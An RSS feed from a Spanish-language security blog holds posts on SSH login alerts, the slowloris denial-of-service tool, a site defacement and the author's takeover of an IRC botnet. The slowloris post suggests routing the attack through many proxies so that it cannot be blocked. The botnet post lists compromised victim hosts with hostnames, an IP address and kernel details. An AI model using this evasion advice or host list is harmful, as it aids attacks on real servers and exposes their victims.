<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>[bet0x@barrahome.org ~]$ &#187; /opt/blog/security</title>
	<atom:link href="http://www.barrahome.org/category/optblogsecurity/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.barrahome.org</link>
	<description>Understand something,it is not about money nor personal, I just want to see the world burn!</description>
	<lastBuildDate>Fri, 13 May 2011 12:01:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.3</generator>
		<item>
		<title>Notificacion de Login/Logout en conexiones SSH.</title>
		<link>http://www.barrahome.org/2010/01/14/notificacion-de-loginlogout-en-conexiones-ssh/</link>
		<comments>http://www.barrahome.org/2010/01/14/notificacion-de-loginlogout-en-conexiones-ssh/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:19:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/bash]]></category>
		<category><![CDATA[/opt/blog/security]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=91</guid>
		<description><![CDATA[Aunque se que no es muy seguro puesto puede ser borrado nos notificara antes que se realice tal evento. Vamos a editar 2 archivos, el primero sera .bash_profile el cual nos notificara cuando ingresa al sistema la persona: Debajo del &#8230; <a href="http://www.barrahome.org/2010/01/14/notificacion-de-loginlogout-en-conexiones-ssh/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Aunque se que no es muy seguro puesto puede ser borrado nos notificara antes que se realice tal evento.</p>
<p>Vamos a editar 2 archivos, el primero sera .bash_profile el cual nos notificara cuando ingresa al sistema la persona:</p>
<p>Debajo del primer comentario agregamos lo siguiente:</p>
<div class="codecolorer-container bash mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'ALERT - Root Shell Access on:'</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">who</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span> <span style="color: #ff0000;">&quot;Alert: Root Access from <span style="color: #780078;">`who | awk '{print $6}'`</span>&quot;</span> mi<span style="color: #000000; font-weight: bold;">@</span>email.com</div></div>
<p>Reemplazamos mi@email.com con el email el cual recibirá la alerta.</p>
<p>Ahora hacemos lo mismo con .bash_logout y agregamos lo siguiente:</p>
<div class="codecolorer-container bash mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'ALERT - Root Shell Logout on:'</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">who</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span> <span style="color: #ff0000;">&quot;Alert: Root Logout from <span style="color: #780078;">`who | awk '{print $6}'`</span>&quot;</span> mi<span style="color: #000000; font-weight: bold;">@</span>email.com</div></div>
<p>Con esto el servidor nos advertirá ante cualquier ingreso o salida del sistema. Prometo que para la próxima entrada sera algo muchísimo mas elaborado que esto.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2010/01/14/notificacion-de-loginlogout-en-conexiones-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>¿Es su empresa segura a un DDoS? Compruebelo.</title>
		<link>http://www.barrahome.org/2009/12/16/%c2%bfes-su-empresa-segura-a-un-ddos-compruebelo/</link>
		<comments>http://www.barrahome.org/2009/12/16/%c2%bfes-su-empresa-segura-a-un-ddos-compruebelo/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 15:07:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/conocimiento]]></category>
		<category><![CDATA[/opt/blog/security]]></category>
		<category><![CDATA[/opt/blog/webservers]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=89</guid>
		<description><![CDATA[Este pequeño script en perl nos DDoSea de una forma no ilegal nuestro server, abriendo conexiones en cantidad, acá las dependencias: perl -MCPAN -e 'install IO::Socket::INET' perl -MCPAN -e 'install IO::Socket::SSL' Aunque el mismo no es &#8220;TAN&#8221; efectivo y puede ser detectado &#8230; <a href="http://www.barrahome.org/2009/12/16/%c2%bfes-su-empresa-segura-a-un-ddos-compruebelo/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://ha.ckers.org/slowloris/">Este</a> pequeño script en perl nos DDoSea de una forma no ilegal nuestro server, abriendo conexiones en cantidad, acá las dependencias:</p>
<div class="codecolorer-container perl mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="perl codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">perl <span style="color: #339933;">-</span>MCPAN <span style="color: #339933;">-</span>e <span style="color: #ff0000;">'install IO::Socket::INET'</span><br />
perl <span style="color: #339933;">-</span>MCPAN <span style="color: #339933;">-</span>e <span style="color: #ff0000;">'install IO::Socket::SSL'</span></div></div>
<p>Aunque el mismo no es &#8220;TAN&#8221; efectivo y puede ser detectado por scripts como <a href="http://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a>, por otra parte discutiendo con <a href="http://ha.ckers.org/">RSnake</a> sobre como mejorar slowloris concluimos que la única forma de hacerlo imparable seria el agregar uso indiscriminado de servidores proxy, de esta forma el atacante no es descubierto ni bloqueado.</p>
<p>Aunque slowloris puede provocar un DDoS no esta hecho para dejar sin servicio al servidor totalmente, ya que este mismo contrario a los sistemas de DDoS normales no efectúa conexiones &#8220;FAKE&#8221; sino que se conecta de forma normal, como un usuario navegando el sitio atacado.</p>
<p>PD: Empresas de alojamiento e ISP&#8217;s son vulnerables a este ataque ya confirmado, para ver que plataformas y servidores webs no son entrar a <a href="http://ha.ckers.org/slowloris/">http://ha.ckers.org/slowloris/.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/12/16/%c2%bfes-su-empresa-segura-a-un-ddos-compruebelo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Piquete electronico (crack) a la web de Speedy</title>
		<link>http://www.barrahome.org/2009/12/11/piquete-electronico-crack-a-la-web-de-speedy/</link>
		<comments>http://www.barrahome.org/2009/12/11/piquete-electronico-crack-a-la-web-de-speedy/#comments</comments>
		<pubDate>Sat, 12 Dec 2009 01:48:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/security]]></category>
		<category><![CDATA[/opt/blog/speedy]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=83</guid>
		<description><![CDATA[Lo que sucede cuando un grupo de clientes enfadados hacen luego de no encontrar respuesta por parte de su proveedor de Internet. Articulo completo en ALT1040 Investigando por mi cuenta me encuentro que también atacaron Terra el cual puede observarse &#8230; <a href="http://www.barrahome.org/2009/12/11/piquete-electronico-crack-a-la-web-de-speedy/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Lo que sucede cuando un grupo de clientes enfadados hacen luego de no encontrar respuesta por parte de su proveedor de Internet.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://i46.tinypic.com/2m7szgm.jpg" alt="Hackearon a Speedy" /></p>
<p><span id="more-83"></span><br />
Articulo completo en<a href="http://alt1040.com/2009/12/hackean-el-sitio-oficial-de-speedy"> ALT1040</a></p>
<p>Investigando por mi cuenta me encuentro que también atacaron Terra el cual puede observarse al momento de esta publicación con una molesta animación pero graciosa en flash.</p>
<ol>
<li><a href="http://television.terra.com.ar/">http://television.terra.com.ar/</a></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.barrahome.org/2009/12/11/piquete-electronico-crack-a-la-web-de-speedy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Revenge of a Juacker.</title>
		<link>http://www.barrahome.org/2009/11/10/the-revenge-of-a-juacker/</link>
		<comments>http://www.barrahome.org/2009/11/10/the-revenge-of-a-juacker/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 18:15:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[/opt/blog/php]]></category>
		<category><![CDATA[/opt/blog/programming]]></category>
		<category><![CDATA[/opt/blog/security]]></category>
		<category><![CDATA[/opt/blog/virus]]></category>

		<guid isPermaLink="false">http://www.barrahome.org/?p=76</guid>
		<description><![CDATA[Hoy en dia los ataques mas comunes de denegacion de servicio se hacen utilizando redes de maquinas zombies, en teste caso voy a listar un curioso caso que me sucedió el dia 09/11/2009 mientras monitoreaba los servidores. Una mañana como &#8230; <a href="http://www.barrahome.org/2009/11/10/the-revenge-of-a-juacker/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hoy en dia los ataques mas comunes de denegacion de servicio se hacen utilizando redes de maquinas zombies, en teste caso voy a listar un curioso caso que me sucedió el dia 09/11/2009 mientras monitoreaba los servidores.</p>
<p>Una mañana como todas, café en mano mirando que sucedia en los equipos notamos la fuga de varios terabytes de ancho de banda, lo cual nos llamo la atencion, investigando encontramos que un cliente nuestro tenia una falla en un scritp el cual permitia adjuntar codigo malisioso remotamente, para la desgracia del atacante no teniamos nada activado con relacion a funciones de shell por ende su ataque era muy muy limitado, sin embargo se las ingenio para correr un irc bot utilizando nuestro apache sin tener acceso a la cuenta en si, incluyendo el codigo del script en cuestion.</p>
<p>Mirando el codigo fuente del bot script encontre la red de irc, solo me basto ingresar para ver el panorama estremecedor, cientos de bots conectados a un canal maestro, buscando pagar con la misma moneda decidi hacer que sus bots se desconectaran, utilizando su propia clave maestra y su comando magico se les deconecto todos y cada uno de ellos de forma masiva, aca dejo la lista de los “apodos” que tenian los bots junto con alguna informacion que detalla de donde vienen los mismos, los relacionados a argentina fueron notificados dejando por notificar a los internacionales.<br />
La red es:</p>
<div class="codecolorer-container bash mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Welcome to the Internet Relay Chat Network, bet0x^away<br />
Your host is rapidspam.sytes.net, running version 1.2.1546<br />
This server was created out <span style="color: #000000;">4</span> <span style="color: #000000;">2009</span> at <span style="color: #000000;">22</span>:01:<span style="color: #000000;">43</span> HodB <span style="color: #7a0874; font-weight: bold;">&#40;</span>Serial <span style="color: #666666; font-style: italic;"># 00-00-00)</span><br />
rapidspam.sytes.net IRCXPRO1.2 acdefghiknoprstwxyzACEFGIJLPRS abdefghijklmnopqrstuvwxyzACEFIKLMOPT<br />
IRCX <span style="color: #007800;">CHANTYPES</span>=<span style="color: #000000; font-weight: bold;">%</span><span style="color: #666666; font-style: italic;">#&amp;+ MODES=6 NOQUIT WALLCHOPS NICKLEN=39 MAXCHANNELS=6 SILENCE=55 WATCH=128 are available on this server</span><br />
14:39 &nbsp;_ _<span style="color: #7a0874; font-weight: bold;">&#91;</span> Resumen del IRC : sytes.net <span style="color: #7a0874; font-weight: bold;">&#93;</span>---•<br />
14:39 <span style="color: #000000; font-weight: bold;">|</span>-› 95 usuarios <span style="color: #7a0874; font-weight: bold;">&#40;</span>0 +i<span style="color: #7a0874; font-weight: bold;">&#41;</span> en 1 servidores <span style="color: #7a0874; font-weight: bold;">&#40;</span>95 usuarios por servidor<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
14:39 <span style="color: #000000; font-weight: bold;">|</span>-› 1 canales <span style="color: #7a0874; font-weight: bold;">&#40;</span>95 usuarios por canal<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
14:39 <span style="color: #000000; font-weight: bold;">|</span>-› 95 clientes en 0 servidores <span style="color: #7a0874; font-weight: bold;">&#40;</span>rapidspam.sytes.net<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
14:39 &nbsp;¯°--------------------------------------------------------------------------------•<br />
14:39 ••• Current <span style="color: #7a0874; font-weight: bold;">local</span> <span style="color: #c20cb9; font-weight: bold;">users</span>: 95 Max: 112<br />
14:39 ••• Current global <span style="color: #c20cb9; font-weight: bold;">users</span>: <span style="color: #000000;">95</span> Max: <span style="color: #000000;">112</span></div></div>
<p>Adjunto acá lista de servidores y código fuente del bot.<br />
<span id="more-76"></span></p>
<div class="codecolorer-container bash mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;height:300px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp;<span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7622</span> &nbsp;----: Linux moon.hostcolor.us 2.6.17-<span style="color: #000000;">1.2142</span>_FC4 <span style="color: #666666; font-style: italic;">#1 Tue Jul 11 22:41:14 EDT 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3710</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6411</span> &nbsp;----: Linux bces-1510.de 2.6.8-<span style="color: #000000;">2</span>-<span style="color: #000000;">686</span>-smp <span style="color: #666666; font-style: italic;">#1 SMP Tue Aug 16 12:08:30 UTC 2005 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4946</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2581</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6135</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7060</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6986</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0168 &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6012</span> &nbsp;----: Linux web.tfnet.cz 2.6.18-128.1.10.el5 <span style="color: #666666; font-style: italic;">#1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7057</span> &nbsp;----: Linux web4 2.6.21.1-<span style="color: #000000;">1</span> <span style="color: #666666; font-style: italic;">#2 SMP Mon May 14 08:16:40 CEST 2007 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8853</span> &nbsp;----: Linux 62.149.171.147 2.6.9-023stab051.2-smp <span style="color: #666666; font-style: italic;">#1 SMP Thu Sep 24 22:32:27 MSD 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9418</span> &nbsp;----: Linux rh73.wnet.cz 2.4.20_42.7.legacy.p2p <span style="color: #666666; font-style: italic;">#2 St kvì 4 00:41:33 CEST 2005 i686 unknown (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8187</span> &nbsp;----: FreeBSD sv61592.nfrance.com <span style="color: #000000;">5.5</span>-RELEASE-p20 FreeBSD <span style="color: #000000;">5.5</span>-RELEASE-p20 <span style="color: #666666; font-style: italic;">#0: Thu Aug 27 10:47:00 CEST 2009 root@anemone3.nfrance.com:/usr/obj/usr/src/sys/ANEMONE3SMP i386 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5231</span> &nbsp;----: Linux vwp0096 2.6.18.8-xenU-static-i686-uk9 <span style="color: #666666; font-style: italic;">#3 SMP Wed Apr 9 10:51:41 CEST 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2615</span> &nbsp;----: Linux web.tfnet.cz 2.6.18-128.1.10.el5 <span style="color: #666666; font-style: italic;">#1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8622</span> &nbsp;----: Linux web6 2.6.18-<span style="color: #000000;">6</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Fri Aug 21 14:53:35 UTC 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>0729 &nbsp;----: Linux jade 2.6.18-92.el5 <span style="color: #666666; font-style: italic;">#1 SMP Fri Feb 20 14:39:46 KST 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3685</span> &nbsp;----: Linux stripples.devel.redhat.com 2.4.21-1.1931.2.274.entsmp <span style="color: #666666; font-style: italic;">#1 SMP Tue Jun 24 11:18:10 EDT 2003 i686 i686 i386 GNU/Linux (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>I<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>9400 &nbsp;----: Windows NT CORFLEX-FS 5.0 build 2195 <span style="color: #7a0874; font-weight: bold;">&#40;</span>safe: off<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8541</span> &nbsp;----: Linux jade 2.6.18-92.el5 <span style="color: #666666; font-style: italic;">#1 SMP Fri Feb 20 14:39:46 KST 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9778</span> &nbsp;----: Linux station05-new 2.6.26-<span style="color: #000000;">2</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Wed May 13 15:37:46 UTC 2009 x86_64 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">1950</span> &nbsp;----: FreeBSD arrakis.unlugar.com <span style="color: #000000;">4.11</span>-STABLE FreeBSD <span style="color: #000000;">4.11</span>-STABLE <span style="color: #666666; font-style: italic;">#0: Fri Nov i386 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>C<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4053</span> &nbsp;----: Linux pts-linux-lab029.pts-linux.labnet 2.4.19C13_V <span style="color: #666666; font-style: italic;">#1 Fri Feb 20 01:55:03 PST 2004 i686 unknown (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8374</span> &nbsp;----: Linux hm77 2.6.18-164.el5PAE <span style="color: #666666; font-style: italic;">#1 SMP Tue Aug 18 15:59:11 EDT 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>C<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2314</span> &nbsp;----: Linux pts-linux-lab029.pts-linux.labnet 2.4.19C13_V <span style="color: #666666; font-style: italic;">#1 Fri Feb 20 01:55:03 PST 2004 i686 unknown (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7378</span> &nbsp;----: Linux ns20.sbc-dns.com 2.6.9-42.0.10.ELsmp <span style="color: #666666; font-style: italic;">#1 SMP Tue Feb 27 10:11:19 EST 2007 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3427</span> &nbsp;----: Linux marte 2.4.36.2 <span style="color: #666666; font-style: italic;">#4 Sat Mar 7 10:55:25 BRT 2009 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">7636</span> &nbsp;----: Linux access2.thairegister.com 2.6.18-128.1.10.el5 <span style="color: #666666; font-style: italic;">#1 SMP Thu May 7 10:39:21 EDT 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5858</span> &nbsp;----: Linux asgard.ows.ch 2.6.12-2.3.legacy_FC3smp <span style="color: #666666; font-style: italic;">#1 SMP Sun Feb 19 08:53:09 EST 2006 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">9053</span> &nbsp;----: Linux server.creapix.eu 2.6.28.1-xxxx-std-ipv4-<span style="color: #000000;">32</span> <span style="color: #666666; font-style: italic;">#2 SMP Fri Jan 30 09:55:02 UTC 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">3242</span> &nbsp;----: FreeBSD svrweb.utb.tg <span style="color: #000000;">5.3</span>-RELEASE FreeBSD <span style="color: #000000;">5.3</span>-RELEASE <span style="color: #666666; font-style: italic;">#0: Fri Nov 5 04:19:18 UTC 2004 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">8602</span> &nbsp;----: Linux srv103.tutorhost.com 2.6.18-53.1.14.el5 <span style="color: #666666; font-style: italic;">#1 SMP Wed Mar 5 11:36:49 EST 2008 i686 (safe: off)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">5009</span> &nbsp;----: Linux vps114.madeso.nl 2.6.18-028stab064.7 <span style="color: #666666; font-style: italic;">#1 SMP Wed Aug 26 13:11:07 MSD 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4304</span> &nbsp;----: Linux hosting1.fastq.com 2.6.18-92.1.22.el5.centos.plus <span style="color: #666666; font-style: italic;">#1 SMP Wed Dec 17 10:50:49 EST 2008 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">4095</span> &nbsp;----: Linux bces-1510.de 2.6.8-<span style="color: #000000;">2</span>-<span style="color: #000000;">686</span>-smp <span style="color: #666666; font-style: italic;">#1 SMP Tue Aug 16 12:08:30 UTC 2005 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span>6168 &nbsp;----: <span style="color: #7a0874; font-weight: bold;">&#40;</span>safe: on<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">6824</span> &nbsp;----: Linux ws4.surf-town.net 2.6.30.5 <span style="color: #666666; font-style: italic;">#1 SMP Wed Aug 19 11:55:34 CEST 2009 i686 (safe: on)</span><br />
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>A<span style="color: #7a0874; font-weight: bold;">&#93;</span>BotAttack<span style="color: #000000; font-weight: bold;">|</span><span style="color: #000000;">2518</span> &nbsp;----: Linux station05-new 2.6.26-<span style="color: #000000;">2</span>-amd64 <span style="color: #666666; font-style: italic;">#1 SMP Wed May 13 15:37:46 UTC 2009 x86_64 (safe: on)</span><br />
